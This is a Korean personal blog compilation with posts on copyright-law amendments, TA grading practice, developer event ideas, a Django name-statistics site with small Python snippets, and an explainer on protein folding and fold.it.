OpenLook.org

어제는 작년에 한참 대치하던 이른바 "MB악법"들을 포함한 여러 법안이 직권상정되거나 소위를 통과했습니다. 미디어관련법개정안들과 FTA비준안이 진행되고 있는 데에 대해서 굉장히 유감이지만 다른 곳에도 글이 많기에 생략하고, 어제 직권상정된 저작권법 개정안들은 이번의 쟁점법안은 아니지만 오픈룩과는 관련이 많기에 정리해 봤습니다.

이번에 상정된 저작권법 개정안은 의안번호 1800400 진성호의원등 12인, 의안번호 1802291 강승규의원등 11인과 의안번호 1802888 변재일의원등 12인입니다. 앞의 둘은 지금 나뉘어 있는 컴퓨터프로그램보호법과 저작권법을 저작권법 하나로 통합해서 저작권법에서 컴퓨터 소프트웨어까지 관할하도록 하는 것이 주요 취지이고, 마지막 것은 FTA비준을 위해서 요구사항을 맞추는 것과 청소년 저작권 위반 처벌 완화에 대한 것입니다.

강승규의원외 개정안(강승규 정병국 진성호 백성운 안형환 김영우 배은희 조진래 김금래 조전혁 이달곤)에서 컴퓨터프로그램보호법이 통합되는 것은 특별한 변동사항은 없고 두 법이 통합되는 정도인데, 점점 콘텐츠 융합 추세로 컴퓨터프로그램과 일반저작권의 경계가 모호해지는 것에 대응하기 위한 것이라고 합니다. 실질적으로 바뀌는 것은 기존에 분리되어 있던 저작권위원회와 컴퓨터프로그램보호위원회가 통합된다고 하는군요.

그리고 통합 외에 온라인에서 불법적으로 전송하는 사람 또는 올라오는 게시판을 정지시킬 수 있는 법적 근거를 넣는다고 합니다. 그 부분은 저작권법 133-2에 신설되는데 불법복제물이 올라오면 삭제하고 이용자를 정지하도록 요청할 수 있다고 되어있습니다. 단, 여기서 서비스정지를 해야 하는 서비스 제공자 중에 기간통신사업자가 빠지는데, 인터넷 선만 제공하는 사업자가 불법복제를 하는지 관리를 해야하는 건 힘들어서 뺐다고는 하지만, 검토보고서를 보면 기간망사업자(KT, SK브로드밴드 등)만 인터넷 서비스를 제공하는 것도 아니고, 기간망사업자도 다른 것을 제공하는 경우가 많아서 좀 더 검토를 해 봐야 한다는군요.

이 내용은 진성호의원외 개정안(진성호 현경병 조전혁 강성천 황영철 박선영 김효재 강승규 윤석용 김동성 박준선 유정현)에서도 다룬 것인데, 그 개정안에서는 P2P같은 서비스도 온라인서비스사업자로 추가하는 내용과 위의 133-2를 같이 다루었고, 강승규의원외 개정안과는 다르게 기간망사업자도 대상에 포함되어 있습니다.

변재일의원외 개정안(변재일 양승조 강성종 이춘석 권영길 홍재형 강봉균 안규백 강기갑 이시종 김종률 백원우)은 한미FTA비준을 위해 나온 개정안 세트 중의 일부입니다. 한미FTA의 저작권부분에서도 인정하는 여러 공정한 사용(Fair Use)을 미리 도입하고, 청소년들이 저작권을 잘 모른채로 어겨서 심각하게 처벌되고 가정 문제나 성장 문제까지도 연결되는 것을 막기 위한 안입니다.

가장 눈에 띄는 것은, P2P 업자나 온라인서비스제공자들이 저작권보호를 위해 충분한 장치를 하고 노력한 경우에는 사용자들이 발생시키는 저작권문제에 대해 책임이 없다는 것인데요. 그동안은 사용자들이 저작권을 어기면 서비스제공자도 책임이 있었던 모양입니다. 그리고 "공정한 사용"이 폭넓게 정의가 되었는데요. "통상적인 이용 방법과 충돌하지 아니하고 저작자의 합법적인 이익을 불합리하게 해하지 아니하는 경우에는 저작물의 이용을 가능하게 함."이라고 정의되어서, 지금까지 저작권자에게 해가 없는 경우에도 엄밀하게는 불법적인 사용이 되어 버린 경우가 이제 어느 정도는 합법화가 되었습니다. 위키백과에서 도움이 되지 않을까 싶군요.

또한 청소년들이 자기도 모른채 저작권법을 어기고 5년 이하의 징역까지 받을 수 있었던 문제가 있고, 이걸 악용해서 일부 나쁜 변호사들이 저작권 어기는 사람들 골라다가 협박메일을 보내는 일이 심심찮게 있었는데요. 이제 침해 권리의 소매가가 100만원 이하이면 처벌하지 못하도록 단서가 붙었습니다. 그리고 인터넷 서비스 같은 곳에서 캐싱 목적으로 저작물을 저작권자 동의없이 임시 저장해 두는 것도 이번에 합법화가 되었습니다.

저희 학교는 등록금이 상당 부분 세금에서 지원되는 대신, 모든 학기에 뭐든 조교를 하도록 돼 있습니다. 학과 사무실 조교 같은 자잘한 일 도와주는 조교부터 시작해서, 슈퍼컴 관리 조교, BK21 서류 관리 조교도 있지만 대부분은 수업을 돕는 학과목 조교를 합니다. 저도 지금까지 쭉 운도 없이 계속 학과목 조교를 해왔습니다. 지난 학기까지는 쭉 과학 기초과목을 해서 별로 특별한 것은 없었는데, 이번 학기에는 전산, 전자과에서 누구나 듣는 기초과목에다가 바이오를 짬뽕한 "바이오데이터구조"라는 과목을 맡았는데요. 과에서 2학년 필수과목이다보니 보통 저희 과 과목은 수강생이 많아도 10명 정도인데, 이 과목은 처음엔 수강생이 60명이 넘었습니다. (물론 이 안에는 학점을 쉽게 따려고 오는 전산과, 전자과 고학년들도 있긴 하죠. :)

처음 맡는 프로그래밍 관련 과목이라, 제가 학부 때 느꼈던 "조교가 이런 걸 하면 무척 좋지 않을까!"를 한 번 실행에 옮겨 보기로 했습니다. 사실 중간고사증후군보다 졸업논문증후군이 훨씬 심하죠 --;;

제가 맡은 부분은 학기 프로젝트 관리/채점 부분이라서, 이런 것들을 한 번 생각해 봤는데요.

• 괜히 코드에 a = 1; 같은 것까지 주석 달아야 점수 잘 나온다는 생각은 안 갖게
• 코드의 실행 결과가 제대로 안 나오거나 만들다 말았어도, 코드의 세세 부분을 보고 겪었을 만한 세부 경험을 기준으로 채점해서 프로그래밍을 잘 못해도 포기하지 않도록
• 코딩 결과 자체보다, 코드를 돌려본 결과를 성능/속도/알고리즘 등 여러 측면에서 시험해 보는 과정과 원인 분석 과정, 개선 방안, 도메인 문맥에서의 의미 등을 살펴보게
• 결과 보고서와 코드가 결국 조교 혼자 보라고 쓰는 것이라고 생각하면 영 지루하니, 어떻게든 피드백을 많이 줘서 누군가 읽긴 읽었구나 하는 느낌을 확실히 받도록
• 프로젝트 진행 중에 학생들의 질문에는 스펙 설명같은 것 자체에 곁들여서, 진행과 관련된 현실적인 조언이나 관련 학문에서의 정보를 전달하게
• 질문에 대한 답변이나 채점 결과는 가급적이면 빠를 수록 공부에 효과가 좋으므로 가급적 빠르게

그래서 프로젝트를 시작할 무렵에는 우선 가이드라인을 제시했습니다. 원래 내용은 꽤 길지만 요약하면

• 주석 너무 많이 달지 마라, 주석이 적어도 잘 이해되는 코드가 좋은 거다.
• 사소한 문제 때문에 진행하기가 힘든 상황이면, 그런 것들은 보고서와 코드에 표시하고 우선 상황을 대충 억지로 넘긴 다음에 시간이 날 때 다시 봐라.
• 보고서에는 이런이런~~ 것들에 대한 토론이 있으면 좋다. (예시 10가지)

이렇게 시작하고 나중에 오는 질문에는 가급적이면 질문 자체에 대한 직접적인 답보다는, 왜 그렇게 되는지, 실제 프로젝트의 상황에서 어떤 경우가 있어서 그런 결정을 해야하는지 같은 것들을 가급적이면 같이 썼는데, 사실 처음 배우는 프로그래밍 과목에서 하기로는 좀 어려운 프로젝트다보니 제대로 전달이 잘 안 된 것 같아서 좀 아쉽기는 했습니다.

드디어 제출이 다가왔을 때는, 직접 내면 좀 번거로우니까 전자메일로 받기로 했는데요. 아무래도 전자메일에 큰 첨부파일을 보내다보면 사고도 많이 생기고 해서, 별도의 2가지 경로로 보낼 수 있게 메일 주소를 따로 2개를 마련해서 둘 다 보내도록 했습니다. 그리고, 그래도 혹시 또 메일은 알 수 없으니, 과목 홈페이지 게시판에 MD5 체크섬을 올리면 MD5 체크섬이 맞으면 나중에 제출해도 게시판에 올린 시간으로 인정하기로 했습니다. 그런데 정말로 한 학생이 5일 뒤에 메일이 안 갔냐고 자기 성적이 안 올라왔다고 그러는데, 메일이 유실됐는지 전혀 로그에서도 찾을 수 없는 일이 발생했습니다. 마침 게시판에 MD5 체크섬이 올라와 있어서 구원해 줄 수 있었죠.

결국 약간 늦은 학생도 있었지만 대부분 제출이 끝나고 채점을 했는데요. 역시 채점은 하다보면, 점수로만 표현하기는 좀 아쉬운 뭔가 그런 것이 있습니다. 그래서, 아예 성적표 사이트를 하나 만들어서, 각각의 개인의 제출물에 대한 피드백과 학생들의 부분별 상대적 위치를 알 수 있는 도표를 볼 수 있도록 했습니다. (실제 인물이 아니라 이 글에서 인용하려고 가상의 학번을 만들었습니다.)

피드백은 직접 일일이 쓰기는 좀 많아서, 세부항목별로 따로 Z-score를 계산해서 낮은 순서로 몇 개, 높은 순서로 몇 개를 추려서 "좀 더 열심히", "참 잘했어요" 아래에 코멘트를 자동으로 쓰게 했습니다. 뭐 그런대로 괜찮게 나오더군요. :) 하나 재미있는 것은, 웹서버 로그를 보니까, 자기 성적만 보고 가는 학생은 30% 정도 밖에 안 되고, 나머지는 친구 학번을 다 넣어보고 가더군요.;; (친구 관계 네트워크라도 그릴 수 있을 정도!)

이제 프로젝트가 끝나긴 했는데, 제가 맡은 부분이 기말고사가 또 남아있어서.. ㅡㅡ; 또 하려니 막막하네요 -ㅇ-; 그래도, 학생들이 그냥 조교라서 하는 아부도 많이 섞여있겠지만 제출하는 메일이나 게시판 댓글에서 도움이 많이 됐다, 좋은 경험을 할 수 있었다, 많은 것을 배울 수 있었다. 라고 해 줘서 무척 힘이 났습니다. 이제 졸업 준비를 해야하는데.. -ㅇ-;;

서울에 있을 때는 이런 저런 행사를 많이 했는데 요즘 대전에 있다보니 영 근질근질해서, 가끔 이런 행사 하면 정말 재미있겠다 상상하며 졸곤(;;) 합니다. 어디 적어두는 습관이 없다보니 생각을 아무리 해 봐야 늘 남는 게 없는데요. 흐흐;; 그래서 최근에 생각났던 걸 함께 생각해 보기도 하고 스스로 안 까먹으려고 적어 놓아 봅니다.

개발자 구보씨의 3일

제가 가장 좋아하는 TV 프로그램은 단연 KBS1 다큐멘터리 3일 입니다. 이 프로그램에선 어떤 장소나 사건을 주제로 3일 동안 같은 곳을 지키며 오가는 사람을 취재합니다. 강남역, 구로역 같은 사람 많이 다니는 지하철 역이 되기도 하고, 강남고속터미널이나 통도사, 동해의 어촌, 추석 특송 기간 동안의 택배 직원들 등등 생활을 밀접하게 다루다보니, 역에서 지나가는 사람들을 보며 저 사람들이 어디서 어디로 가고 어떤 일을 하고 어떤 생각을 하고 가족들과는 어떻게 지내고 어떤 게 행복한지 등이 늘 궁금해 했던 것을 조금이나마 엿볼 수 있게 해 줍니다. 특히 같은 자리에 3일을 쭉 있다보니, 면접보러 서울에 왔다가 다시 며칠 있다가 내려가는 사람, 자전거 여행하러 갔다가 2박 3일 여행하고 돌아오는 사람들의 전과 후를 모두 볼 수 있다보니 정말 재미있습니다. 한 편을 보면 마치 100명하고 술 마시면서 인생 사는 얘기를 하고 온 것 같은 기분이죠.

그래서 개발자도 이런 것들을 할 수 있지 않을까 생각해 봤는데요. 개발자라고 묶으면 왠지 뻔히 하루 종일 컴퓨터 보고 키보드만 칠 것 같지만, 알고보면 회의도 하고, 아이디어 만들기도 하고, 제안서도 쓰고, 싸우기도 하고, 몰래 만화도 보고, 여자친구와 메신저도 하고... 하는 일이나 회사 환경, 개인적인 환경에 따라 적지 않은 차이가 있습니다. 그냥 보면 다 똑같은 개발자의 실제 일하는 환경을 엿보면 고년차 개발자들끼리, 또는 갓 IT업계에 들어온 신입, 대학생, 고등학생 등등.. 추상적인 "이 쪽 전망이 어떻더라..." 보다 도움이 될 것 같아서요.

72시간 VJ들이 쫓아다니는 건 현실적으로 어려우니, 대충 타협해서 72시간 중에 종종 자기 모습이나 하는 일, 주변 환경을 사진으로 찍어서, 그 중 24장을 꼽아서 자기 생활에 대해 페차쿠차 형식으로 발표하는 것입니다! +_+ 자기 자리 자랑도 있을 것이고.. 몰래 회의 장면 같은 데서 이상한 동료 욕도 할 수 있고.. 어려웠던 문제 해결하는 과정을 무용담처럼 얘기할 수도 있고... 단편적인 생활 스케줄을 쫙 훑기보다는, 살아있는 진짜 3일처럼 당시의 생생한 연결된 이야기를 들으면 더욱 좋겠죠!

서울에 사는 세계 개발자 페차쿠차

한국 IT게에서 비전통적 컨퍼런스를 상당히 일찍 시도했던 "KLDP CodeFest"에서는 초기에 계속 꾸준히 서울 인근에 사는 외국인 개발자들이 몇 명씩 참여했습니다. 지난 번 파이썬 페차쿠차는 진행 언어가 한국어였지만 한국어를 잘 하는 프랑스인 개발자가 한 분 참여해서 자리를 빛내주었습니다. 그 때 생각이 떠올랐는데요. 서울에 사는 외국인 개발자들과 또한 그들과 교류하고 싶은 한국인 개발자들이 소통하는 계기가 있으면 좋겠네요.

그래서 역시 지난 번 파이썬 페차쿠차와 마찬가지로 자기가 하는 일이나 한국에서 일하는 개발자로의 경험, 어려움, 팁 같은 것을 페차쿠차로 발표하는 자리가 있으면 촉진할 수 있는 좋은 기회가 되지 않을까 합니다. 아무래도 한국어에 서투른 개발자들도 많이 참가할 수 있도록 공식 언어도 영어로 지정해서 행사장에 누가 있어도 서로 말을 거는 데 주저하지 않을 수 있도록 하면 더욱 좋을 것 같습니다. (한국어를 너무 사랑하는 분들은 이 부분에서 거부감이 있을 수도 있겠지만, 현실적으로 취지를 살려서 한국어를 못하는 개발자를 배제하지 않으려면 이 방법이 최선인 듯 하네요.)

장난감 문제 축제

예전에 언젠가 한 번 제 블로그에 올린 적 있는 생각이기도 한데요. 앞의 "구보씨"와 마찬가지로 다양한 분야에서 일하는 개발자들이 모여서 경험을 나누고 이해를 넓히는 방법으로 장난감 문제를 쓰는 방법을 생각해 봤습니다. 우선 자기 개발 분야에서 아주 간단해서 잘 모르는 사람도 10분 안에 풀 수 있는 장난감 문제를 1개 준비해 옵니다. 예를 들어 게임 프로그래머라면 2D 좌표계에서 충돌 검사를 하는 문제를 가져온다거나, 자판기에 들어가는 펌웨어를 만드는 프로그래머라면 자판기에서 돈 넣으면 잔돈 계산하는 문제, 이미지 처리를 주로 하는 프로그래머라면 간단한 껍데기를 채워넣어서 간단한 알고리즘으로 그림파일 외곽선을 보여주는 문제를 가져오는 등 최대한 자기 분야 특성은 살리지만 장난감 문제인 것을 가져 오면 되겠죠.

그래서 이 문제를 이제 잘 모르는 사람들끼리 무작위로 2명 씩 짝을 만들어서 공략합니다! 이제 그 뒤 부터는 예전에 코드레이스같은 곳에서 했던 형식이나 재미있게 할 수 있는 형식을 여러 가지 만들 수 있을 것 같네요. 채점은 아마도 각 문제를 출제한 사람이 뽑게? ^^;

그냥 최근 떠올랐던 생각 세 가지를 적어 봤는데요. 좀 다듬어서 해 볼 만한 것도 있을 것 같네요. 언제 기회가 되면 한 번 추진을!

Michael Ogawa의 code_swarm이라는 프로젝트에서 오픈소스 프로젝트의 CVS나 SVN 등 소스 저장고를 분석해서 일어난 작업들을 시각적으로 보여주는 걸 만들었습니다. 요새 UbiGraph같은 도구도 나오고 하는 걸 보면 시각화가 정말 굉장히 유행이네요~

code_swarm - Python from Michael Ogawa on Vimeo.

저는 3분 50초 쯤에 약간 왼쪽 아래에서 나타나서 잠시 머물다가 사라집니다;;; -ㅇ-;;;;;

이 영상은 미디어아트와 데이터 시각화에서 많은 관심을 모았던 Processing으로 만들었다고 하는데.. 전에 봤을 때는 괜히 어렵기만 하고 별 쓸모 없어보니더니 이걸 보니 확 땡기는군요. ^^;;

-- via Python Daily URL

예전에 올렸던 우리말 도우미를 한동안 잊고 있었는데 불여우 3.0 지뢰밭 출시가 임박해서 많은 분이 요청해 주셔서 3.0 용으로 갱신했습니다.

우리말 도우미 1.0 (불여우 부가 기능) 설치

3.0 지원 외에는 아주 사소한 레이아웃 관련 변경이 몇 개 있었지만 별로 눈에 안 띌 것 같네요 -ㅇ-;

아직 모래통 안에 들어 있어서 쉽게 설치가 안 되고, 사이트에 로그인해야지만 됩니다. 므흐흐.. 언젠가는 모래통을 탈출하여 쉽게 설치할 수 있는 날이 오겠죠. -ㅇ-;

이번 업데이트에 큰 도움을 주신 신종훈님께 감사드립니다.

며칠 전에 올렸던 "내 이름 어때?"를 만들면서 썼던 여러 가지 기술적인 부분에 대해서 간단하게 정리해 봅니다. 물론 django로 만들었습니다! 이히히

Django 템플릿에서 한글 조사 처리

이름 뒤에 은/는 이/가 같은 것들을 제대로 붙이려면 아무래도 템플릿에서 처리를 해 줘야하는데, django에서는 애플리케이션에서 직접 템플릿 태그나 필터를 정의하는 걸 매우 장려하는 분위기라서 "필터"를 따로 정의해서 처리했습니다.

템플릿에서 이렇게 쓰려고 하는 부분이 있다면:

이름을 뒤집으면 {{ rev_last_name|attach_korean_suffix:"이가" }}
되어서..

필터 정의를 이렇게 해 줬습니다.

@register.filter
def attach_korean_suffix(string, suffixes):
    if hangul.ishangul(string[-1]) and hangul.split(string[-1])[2]:
        return suffixes[0]
    else:
        return suffixes[1:]

마지막 줄에서 1:로 굳이 잡아준 이유는 이름 뒤의 ~이 처럼 받침이 없으면 끝에 안 붙는 경우도 처리해 주려고요..

추세 해석

이름의 인기가 늘고 있는지 줄어드는지를 글자로 판단해서 표현해 주기 위해서, 간단한 계산식을 사용했습니다. 우선 원 데이터 자체는 샘플수가 적어서 노이즈가 많기 때문에 보통 많이 쓰이는 9개 윈도우 평균으로 했고, 이렇게 하면 18개 포인트가 나와서 세 부분으로 나눠서 앞 중간 뒤의 평균을 다시 구해서 3가지 값이 나왔습니다. 그래서 눈으로 딱 보면 값이 계속 증가하는지, 올라갔다 내려갔다 하는지를 볼 수 있는데요, 그냥 값으로 볼 수는 없으니 앞/중간 과 중간/뒤의 각각의 변동폭을 0에서 1사이로 정량화해서 봤습니다. 변동폭은 이름마다 절대량이 다르기 때문에 상대량으로 비교해야해서 아래와 같은 식으로 썼습니다.

보기엔 약간 쓸데없이 복잡하긴 하지만, 그냥 상대비율을 (0, 1) 사이로 넣어주는 일 밖에 안 합니다;;;

이렇게 나온 값으로 앞 뒤가 모두 (0.4, 0.6) 구간에 들어오면 "꾸준한 추세입니다."라고 하거나, 앞-중간은 (0.0, 0.3), 중간-뒤는 (0.0, 0.5) 구간에 들어가면 앞 반쪽에서 감소세가 강하고 뒷 반쪽에서 감소세가 둔하다는 의미이므로 "확 줄어들다가 잦아드는 추세입니다."라고 보여주는 식으로 주된 패턴들을 "대충" 느낌으로 나열하는 방법으로 코딩했습니다. 크흐;

구글 차트

이름 전체의 성별 성향이나 이름의 시대적 경향, 이름 글자의 시대적 경향을 보이는 부분에서 구글 차트를 불러서 사용했습니다. 구글 차트는 직접 URL을 코딩하는 방법은 아니고, pygooglechart를 사용했는데요, 이게 의외로 그런대로 잘 만들어서 웬만한 기능은 불편없이 쓸 수 있게 돼 있더군요. :)

다만, 하나 기술적인 문제가 있었던 부분은 이름 글자의 시대적 경향 같은 경우에는 글자마다 실수값 18개씩(경향)이 저장돼야 하기 때문에, 이걸 그냥 저장하는 건 여러모로 번거롭고 해서 구글 차트 API에서 쓰는 0~4095 사이 인코딩하는 방법으로 썼습니다. (base64와 거의 같은 방법입니다.) 그래서, 저장은 바로 구글 차트 API URL에 쓰면 되는 형태가 돼서 다시 불러올 때 매우 빠르게 불러올 수 있긴 한데, 문제는 한 이름 안에 이름 앞자와 뒷자의 경향을 모두 보여줘야하기 때문에 둘의 그래프 크기를 제대로 조절해 주지 않으면 각 글자의 크기가 잘못 나온다는 점이었습니다.

그래서 결국 선택한 방법은 보여줄 때 앞자 뒷자 인코딩된 값을 다시 풀어서 큰 쪽의 스케일로 맞춘 다음에 다시 인코딩하는 -.,-; 약간 노가다성 방법을 썼습니다. 역시 이런 부분은 numpy의 array의 도움을 많이 받을 수 있었습니다.

확장코드 인코딩/디코딩 부분을 따로 떼서 쓸 일이 좀 있을 것 같아서..

encmap = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-.'
decmap = [(encmap.index(chr(c)) if chr(c) in encmap else 0) for c in range(128)]
def decode_ggenc(encoded):
    return [decmap[ord(hi)] * 64 + decmap[ord(lo)]
            for hi, lo in zip(encoded[::2], encoded[1::2])]
def encode_ggenc(data):
    return ''.join(encmap[int(v//64)]+encmap[v%64] for v in data)

통계치가 적은 이름의 성별 추정

역시 통계 샘플 크기가 작아서 주요 이름들을 빼고는 제대로 된 통계치를 낼 수 없어서 주요 이름들의 성별 경향으로 학습한 걸로 예측하는 부분이 필요했습니다. 이번에는 아예 사용된 적 없는 글자까지도 어떻게 좀 해 보려고 통계치에 전혀 의존하지 않고 그냥 자소별로 분해해서 이름만 피처로 사용하기로 했습니다. 그래서 보통 SVM을 쓰는 것이 여러모로 대세이기는 하지만, 카테고리성(이산) 피처값에 매우 유리한 random forest을 썼습니다. (물론 제가 수학을 워낙 못하는 것도 큰 요인으로;;;;)

Random forest는 아무래도 쓸 수 있는 구현이 적다는 게 큰 문제인데요. 파이썬에서 쓸 수 있는 orange를 쓰면 정말 좋겠지만, 아쉽게도 이 구현은 리그레션은 지원하지 않고요. Y.Y R용 패키지인 party와 randomForest 중에 선택해야하는데, party를 먼저 했으나 메모리 3기가를 먹더니 죽었고 (-_-) randomForest는 안정적으로 대략 200메가 정도 먹고 그런대로 쓸 만한 결과를 줬습니다. :)

학습 기법 측면에서는 남자 샘플이 2배 정도 되기 때문에 편향 문제가 있어서 샘플링 조절을 좀 해야했는데요, 그냥 복잡한 것 쓰지 않고 대략 0.3 밑을 반 다운 샘플링하니까 전체적으로 분포가 윗쪽하고 아랫쪽이 그런대로 맞았습니다. 중성적인 이름이 수가 훨씬 적은 것도 또한 중성적 이름 쪽에서 오차를 많이 발생시킬 수 있는 요인이 될 수 있는데, 이쪽에서 오버샘플링을 하려고 하다가 "될 거 같으면 대충해도 돼야 하는거지" 하는 교수님 말씀이 귓가를 스치며 놀이인데 대충하자 하고 -ㅇ-;; 크흐; 그래서 결국 10-fold cross validation으로 평균 피어슨 연관성이 0.97 정도 나왔습니다. (만... 역시 사람 느낌하고 좀 다른 사례가 개별적으로는 제법 많이 발견되긴 하네요;)

페이지 내용 캐시

서비스를 공개한 다음 날 점심시간이 좀 지나고 나서는 접속이 폭주해서, 실시간 계산이 상당히 있었던 구현 특성상 앞으로 어떻게 될 지 참 고민이 있었는데요; 그래서 마침 전혀 필요없겠다 싶어서 꺼놨던 django의 캐시 프레임워크를 살려서 해 봤습니다. 백엔드를 선택할 수 있는데, 역시 제일 잘 나가는 memcached를 썼습니다. 이거 소문대로 깔끔하고 잘 돌아가네요. ^_^;

Django는 다행히도 템플릿에서 일부만 특정 변수에 따라서 캐시하는 기능이 있어서 이름에 따라 바뀌는 부분, 성에 따라 바뀌는 부분을 따로 따로 캐시하도록 3조각으로 따로 캐시해서 생각보다 훨씬 간단하게 쉽게 캐시로 넣었고요, 지금은 CPU부하가 전보다 같은 요청에서 거의 1/10로 줄어들었습니다! 이히히.

다른 사소한 것들..

몇 분께서 물어보셨던 게 자료처리나 통계처리는 어떤 걸 썼느냐가 있는데, 특별히 쓴 것은 없구요, 파이썬 하나면 다 해결됩니다. -ㅇ-; 물론 numpy, matplotlib도 아주 큰 도움이 됐습니다. collections.defaultdict를 전에는 그렇게 자주 쓰지는 않았는데, 이번에 좀 과격하게 3~4 단계 쑥쑥 defaultdict를 겹쳐서도 써 봤더니 pickle이 잘 안 되는 문제만 빼고는, 코드를 아주 많이 줄여준다는 점에서 아주 사랑스러웠습니다.

후속편으로는 이번에 들어온 로그를 한 번 분석해 보려고 하고 있습니다. ^^;

요즘 인터넷에서 단백질을 접는 게임 fold.it이 아주 인기입니다. 단백질 접기(protein folding)는 구조생물정보학의 가장 큰 문제이기도 하지만, 제가 있는 연구실의 주요 주제이기도 해서, 단백질 접기에 관한 몇 가지 얘기를 해 볼까 합니다. :)

단백질 구조가 뭔가?

단백질은 생물을 구성하는 주요 분자구조 중의 하나인데, 20가지 아미노산이 일렬로 실처럼 쭉 연결되는 것이 기본 구조입니다. (현재 22번째 자연계 아미노산까지 발견되긴 했지만 사람은 20개만 사용하고 있습니다.) 20가지면 컴쟁이가 생각하기에 바로 생각할 수 있는게 알파벳으로 커버하고 남는다 그거죠. 그래서 실제로 아미노산은 알파벳으로 표시하고 있는데 각각의 이름을 따서 BJOUXZ 여섯개를 빼고 나머지로 표현하는 문자열로 많이 씁니다.

그런데, 각 아미노산은 성질이 있어서 자기들끼리 모이려고 하는 것도 있고, 서로 떨어지려고 하는 것도 있고 크기가 커서 부딪히지 않으려고 하는 것도 있고, 기타 등등 여러 성질이 있어서 안정적인 몇 가지 기본적인 구조(나선형, 판형 등..)을 지역적으로 이루는데, 이걸 2차구조라고 부릅니다.

역시 인간관계도 상당히 복잡하듯, 2차구조를 이룬 다음에도 자기들끼리 꼬이면 그나마 남은 관계까지도 복잡하게 얽여서 굉장히 안정적인 구조를 만들 수 있는데요, 이렇게 모인 것을 3차구조라고 부릅니다. 그리고 여러 단백질 가닥이 모여서 큰 단백질을 만들면 4차구조라고 부릅니다.

구조는 뭐에 쓰는가?

단백질은 생화학적 작용의 가장 기본적이고 유용한 분자이기 때문에, 생화학 작용에서 단백질을 빼면 거의 남는게 없습니다. 물론 핵산이나 탄수화물 등도 매우 중요하긴 하지만, 생화학 회로를 그린다 하면 거의 대부분 단백질이 주인공이죠. 그런데, 단백질이 상대를 만나서 반응을 하는 기준이 대부분 단백질에 있는 구멍의 특정 모양이나 아미노산들이 배치된 패턴과 상대의 특징들 같이 단백질과 생분자간의 모든 관계가 구조를 빼면 설명하기 힘듭니다.

그래서 단백질의 구조를 밝히는 것이 분자생물학, 세포생물학의 기본 원리를 밝히는 데 뿐만 아니라, 새로운 단백질을 디자인하고 약을 만드는 데 매우 중요한 도구입니다. 90년대 말의 히트작 항암제인 글리벡도 구조를 연구해서 기막히게 구멍을 메우는 약이죠.

구조를 그냥 보면 안 되나?

웬만하면 구조는 그냥 현미경으로 보면 가장 좋겠죠. 그런데, 단백질은 빛의 파장보다 짧은 구조를 하고 있기 때문에, 가시광선으로는 볼 수 없어서 현미경으로 볼 수 없고, 전자현미경이나 다른 원리를 쓰는 현미경들도 (적어도 아직은) 단백질 구조까지 보기에는 한참 힘듭니다. 그래서 사용하는 것이 일반인들에게 MRI로 유명한 NMR과 X레이 구조결정 두 가지 방법이 쓰이는데요, 보통 X레이가 여러 이유로 더 많이 쓰입니다.

X레이로 그냥 다 찍으면 보이면 좋은데, 이게 결정을 만들어야하다보니, 같은 분자를 다량 정제하는 것도 힘들고 결정으로 만들기도 힘든 고분자를 결정으로 만드는 것도 상당히 경우에 따라 다른 기술이 필요합니다. 그래서, 대량으로 찍고 싶다고 다 나온다기 보다는 관심이 많은 단백질들의 구조에 집중되어 있는 편입니다. 또한, 단백질 구조가 항상 같은게 아니라 꿈틀꿈틀 움직이기도 하고 아예 훽훽 움직이기도 하는데 그 움직임이 중요한 경우도 있어서 원하는 걸 다 얻기도 힘들고, 막 사이에 끼여있는 단백질 같은 경우엔 아예 원래 구조로 결정으로 만드는게 너무너무너무 힘들어서 지금까지 찍힌 것이 손으로 꼽을 정도가 되기도 합니다.

계산적 구조 예측

그래서 하는 것이 컴퓨터를 이용한 구조 예측입니다. 기본적으로 원자의 움직임은 물리역학적 특성을 따르기 때문에, 움직임이나 안정적 구조를 컴퓨터로 당연히 이론적으로 예측할 수 있습니다. 대표적으로 사용되는 방법은 분자동역학 시뮬레이션이나 몬테카를로 같은 것들을 쓰는데, 전자의 경우에는 계산량이 엄청나게 많아서 수십나노초(ns)가 넘으면 예측이 거의 불가능해집니다. 그리고 몬테카를로법이나 다른 변종들도 한계가 있습니다. (시작점을 잡기 위한 방법이나 지속적인 움직임을 보기 위한 다른 방법을 도입할 필요가 있죠.)

그 결과 결국 구조 예측의 주축은, 유사성 모델링이 되었는데, 기존의 비슷한 단백질의 구조를 가져다가 여기 저기 비슷한 부분을 잘라 붙인 다음에, 그걸 기존 방법으로 에너지 안정화 시뮬레이션을 좀 거치는 방법입니다. 기존 단백질 구조를 이용해서 완전 바닥이 아니라 벌써 한참 진행된 것을 가지고 하기 때문에 아주 효율적이고 비교적 정확한 결과를 얻을 수 있지만, 기존의 비슷한 단백질이 없으면 구조를 예측하지 못하는 한계가 있습니다. 그렇지만, 데이터베이스가 점점 커져서, 최근에는 단백질 예측에서 유사성을 이용하지 않는 것은 상상할 수 없을 정도가 되었고 데이터베이스 크기가 예측의 품질과 매우 밀접한 관계를 가지게 되었습니다.

구조 예측 대회 CASP!

이렇게 단백질 구조 예측이란게 아주 정의가 잘 된 계산 문제가 되다보니, 그 다음에 당연히 나올 수 있는 것은 초밥만들기 대회처럼 세계대회가 생기는 것이겠죠. 그 중 가장 큰 것은 단연 CASP입니다. 1994년부터 격년으로 하고 있는데 올해 대회는 얼마 전에 참가접수가 끝나고, 지금 한참 대회가 진행 중입니다.

요즘 유행하는 fold.it도 이 구조 예측 대회를 타겟으로 나온 것인데, fold.it을 만든 워싱턴대학(시애틀) 생화학과의 David Baker 연구실은 한동안 CASP을 휩쓸었던 먼치킨 그룹입니다. 여기는 애플과 비슷한 점이 많은데, 남들이 다 뻔히 될 것 같다고 생각하고는 있지만 실제로는 여러 이유로 안 해보는 것들을 아주 기발하고 멋진 해결책을 들고서 짠! 하고 만들어서 그걸로 굉장한 결과물을 만들어냅니다. 유사성 모델링에서 에너지 계산방법도 그렇고, 구조 데이터베이스 탐색법, 분산계산(Rosetta@Home)등 여러 가지가 그런데요, 이번에 fold.it도 종종 컨퍼런스에서 구조는 역시 사람이 보고 끼워맞추는게 최고다 그런 농담이 자주 나오는 걸 진짜로 게임으로 만들어서 수만명이 달려들게 만들어버렸습니다.

